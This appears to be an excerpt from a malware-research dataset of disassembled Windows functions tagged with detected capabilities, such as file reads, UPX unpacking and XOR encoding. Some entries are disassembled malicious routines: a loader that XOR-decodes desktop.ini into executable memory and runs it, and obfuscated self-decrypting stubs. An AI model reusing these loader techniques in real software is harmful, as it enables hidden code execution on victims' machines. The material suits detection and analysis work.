joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425943
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004257b4

Function at 0x425d3d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00414ce0
mov eax, dword [0x445024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00424592
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x425d7f
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x425edb
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00431540
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x446be0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00426d34
mov ecx, dword [esi*4 + 0x446be0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x425ed4
cmp eax, dword [edi + ecx + 0x24]
jne 0x425ed4
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x425ed4
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00426d34
add esp, 0x14
test edx, edx
jl 0x425ed4
jg 0x425e4a
test eax, eax
jb 0x425ed4
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x425ed4
jl 0x425e64
cmp dword [ebp - 0x1008], eax
ja 0x425ed4
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x425e82
test ebx, ebx
je 0x425ebb
cmp ecx, edi
jae 0x425ebb
mov al, byte [ecx]
cmp al, 0xd
jne 0x425e9c
lea eax, [edi - 1]
cmp ecx, eax
jae 0x425ea8
cmp byte [ecx + 1], 0xa
jne 0x425ea8
inc ecx
jmp 0x425ea8
movzx eax, al
movsx eax, byte [eax + 0x4452b0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x425e82
cmp edx, ebx
jne 0x425e82
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x425ed9
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00414cc3
leave
ret
Function at 0x4261d2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x446be0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x426212
cmp byte [ebx], 0xa
jne 0x426212
or byte [eax + edi + 0x28], 4
jmp 0x426217
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x426315
mov al, byte [edx]
cmp al, 0x1a
je 0x4262f7
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x426246
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x42626b
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x426275
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x426228
jmp 0x426315
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4262f2
cmp dword [ebp - 0xc], 0
je 0x4262f2
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x446be0]
test byte [eax + edi + 0x28], 0x48
je 0x4262cc
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4262b7
mov byte [esi], dl
jmp 0x4262c8
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x446be0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x426315
cmp byte [ebp - 1], 0xa
jne 0x4262db
cmp esi, ebx
jne 0x4262db
mov byte [esi], 0xa
jmp 0x426314
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00426d52
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x426315
mov byte [esi], 0xd
jmp 0x426314
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x446be0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x426311
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x426315
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42631e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x446be0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x426361
cmp word [esi], dx
jne 0x426361
or byte [edi + eax + 0x28], 4
jmp 0x426366
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4264b9
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x426499
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4263a8
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4263de
cmp eax, edx
jae 0x4263ea
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x426380
jmp 0x4264b9
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x426495
cmp dword [ebp - 0x14], 0
je 0x426495
mov eax, dword [ebx*4 + 0x446be0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x42646d
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x426436
mov word [esi], cx
jmp 0x426469
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x446be0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x446be0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x446be0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4264b9
pop ebx
cmp word [ebp - 4], bx
jne 0x42647e
cmp esi, dword [ebp + 0xc]
jne 0x42647e
mov word [esi], bx
jmp 0x4264b6
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00426d52
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4264b9
push 0xd
jmp 0x4264b2
mov ecx, dword [ebx*4 + 0x446be0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4264b0
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4264b9
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42a37b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42a418
push ebx
push esi
call fcn.0042a344
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00422b70
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42a3c5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42a417
push edi
push eax
call fcn.00422b22
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42a3e5
call fcn.00422ae8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42a416
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00422b70
add esp, 0x20
test eax, eax
jne 0x42a404
push edi
call fcn.00422ae8
jmp 0x42a40c
push ebx
call fcn.00422ae8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x431460
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43148d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43148d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x54f230
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x118000]
push edi
jmp 0x54f24a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x54f251
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x54f240
mov eax, 1
add ebx, ebx
jne 0x54f263
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x54f274
jne 0x54f293
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x54f293
dec eax
add ebx, ebx
jne 0x54f280
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x54f258
add ebx, ebx
jne 0x54f28f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x54f2e5
xor ecx, ecx
sub eax, 3
jb 0x54f2ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x54f31a
sar eax, 1
mov ebp, eax
jmp 0x54f2b6
add ebx, ebx
jne 0x54f2b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x54f284
inc ecx
add ebx, ebx
jne 0x54f2c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x54f284
add ebx, ebx
jne 0x54f2d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x54f2c6
jne 0x54f2e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x54f2c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x54f304
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x54f2f6
jmp 0x54f246
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x54f304
add edi, ecx
jmp 0x54f246
pop esi
mov edi, esi
mov ecx, 0x1146
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x54f322
cmp byte [edi], 0xe
jne 0x54f322
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x54f327
lea edi, [esi + 0x14c000]
mov eax, dword [edi]
or eax, eax
je 0x54f39f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x175288]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17538c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x54f354
mov ecx, edi
jns 0x54f383
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x175390]
or eax, eax
je 0x54f399
mov dword [ebx], eax
add ebx, 4
jmp 0x54f371
call dword [esi + 0x1753a0]
mov ebp, dword [esi + 0x175394]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x54f3d3
sub esp, 0xffffff80
jmp 0x42438d
Function at 0x100137df
Capabilities:
Generate random numbers via winapi

Disassembly:
call fcn.100b0a27
sub byte [eax], al
add byte [eax - 0x64846fe], al
sub esp, dword [ebx + 0x14]
xchg esp, eax
or esi, dword [ebp + 0xd508a03]
sbb eax, 0x6e64b0a0
dec ebx
jae 0x1001385c
dec edi
lds esi, [edx - 0x7b1f398d]
out dx, al
out dx, eax
ljmp 0xfdb3
mov ebp, esp
push esi
xor esi, esi
cmp dword [0x10120740], 1
je 0x10013871
mov esi, 0x8000ffff
jmp 0x10013899
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [0x10120730]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x100138be
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.100db3f4
mov esi, eax
test esi, esi
jge 0x100138be
mov eax, dword [0x1011faf4]
cmp eax, 0x1011faf4
je 0x100138be
test byte [eax + 0x3c], 2
je 0x100138be
push esi
push 0x100034d8
push 0xa
push dword [eax + 0x34]
push dword [eax + 0x30]
call fcn.100db3f4
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x100db3f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100db403
pop dword [ebp - 0x40]
mov eax, 0x512059d9
sub eax, 0x4112a5d6
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x581bf
push 0
mov eax, 0x14ff8982
add eax, 0xfb008742
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0xe0dc8fff
sub ecx, 0xe0dc484e
xor esi, esi
add esi, eax
mov edi, 0x10137800
add edi, dword [ebp - 0x40]
mov ebx, 0xac9d861b
add dword [ebp - 0x28], 0xc26d2beb
mov edx, dword [edi]
add dword [ebp - 0x1c], edi
add edx, ebx
sub dword [ebp - 0x10], edi
mov dword [esi], edx
xor dword [ebp - 0x10], eax
add esi, 0x7b127998
add esi, 0x84ed866c
add edi, 0x8a873588
sub edi, 0x8a873584
loop 0x100db458
add eax, 0xe694c60f
sub eax, 0xe693b478
mov ebx, eax
add eax, 0xc7da46b
add eax, 0xf3825b9a
mov ecx, 0x56c4583b
sub ecx, 0x46c4583b
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404d50
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
push ebx
push esi
push edi
lea edi, [ebp - 0x408]
mov ecx, 0x102
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
push str.Error_Code:__d
push 0x400
lea ecx, [ebp - 0x404]
push ecx
call fcn.00408c10
add esp, 0x10
mov esi, esp
push 0x10
call dword [sym.imp.USER32.dll_MessageBeep]
cmp esi, esp
call fcn.00415080
mov esi, esp
push 0x10
push str.Insomnia_Error
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00415080
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ucrtbased.dll_exit]
cmp esi, esp
call fcn.00415080
push edx
mov ecx, ebp
push eax
lea edx, [0x404df4]
call fcn.00415020
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x648
cmp ebp, esp
call fcn.00415080
mov esp, ebp
pop ebp
ret
Function at 0x405400
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x68]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x405434
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 0x3d]
test ecx, ecx
jne 0x40543b
mov al, 1
jmp 0x405576
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x11c], edx
call fcn.00406d70
mov dword [ebp - 0x120], eax
mov esi, esp
mov eax, dword [ebp - 0x120]
push eax
mov ecx, dword [ebp - 8]
call dword [ebp - 0x11c]
cmp esi, esp
call fcn.00415080
mov dword [ebp - 0x124], eax
call fcn.00406d70
mov dword [ebp - 0x128], eax
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x128]
push edx
call fcn.00406dd0
add esp, 8
movzx eax, al
test eax, eax
je 0x4054a2
xor al, al
jmp 0x405576
mov dword [ebp - 0x14], 0x20
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0x11c], ecx
mov esi, esp
lea edx, [ebp - 0x48]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 8]
add edx, 0x40
push edx
mov ecx, dword [ebp - 0x11c]
call dword [sym.imp.MSVCP140D.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
cmp esi, esp
call fcn.00415080
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0
je 0x405500
cmp dword [ebp - 0x120], 1
je 0x405507
cmp dword [ebp - 0x120], 3
je 0x405569
jmp 0x405574
mov eax, dword [ebp - 8]
mov byte [eax + 0x3d], 0
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x3c]
sub eax, ecx
mov dword [ebp - 0x54], eax
je 0x405540
mov esi, esp
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x4c]
push ecx
mov edx, dword [ebp - 0x54]
push edx
push 1
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ucrtbased.dll_fwrite]
add esp, 0x10
cmp esi, esp
call fcn.00415080
cmp dword [ebp - 0x54], eax
je 0x405540
xor al, al
jmp 0x405576
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + 0x3d]
test ecx, ecx
jne 0x405557
mov dword [ebp - 0x11c], 1
jmp 0x405561
mov dword [ebp - 0x11c], 0
mov al, byte [ebp - 0x11c]
jmp 0x405576
mov eax, dword [ebp - 8]
mov byte [eax + 0x3d], 0
mov al, 1
jmp 0x405576
xor al, al
push edx
mov ecx, ebp
push eax
lea edx, [0x40559c]
call fcn.00415020
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x128
cmp ebp, esp
call fcn.00415080
mov esp, ebp
pop ebp
ret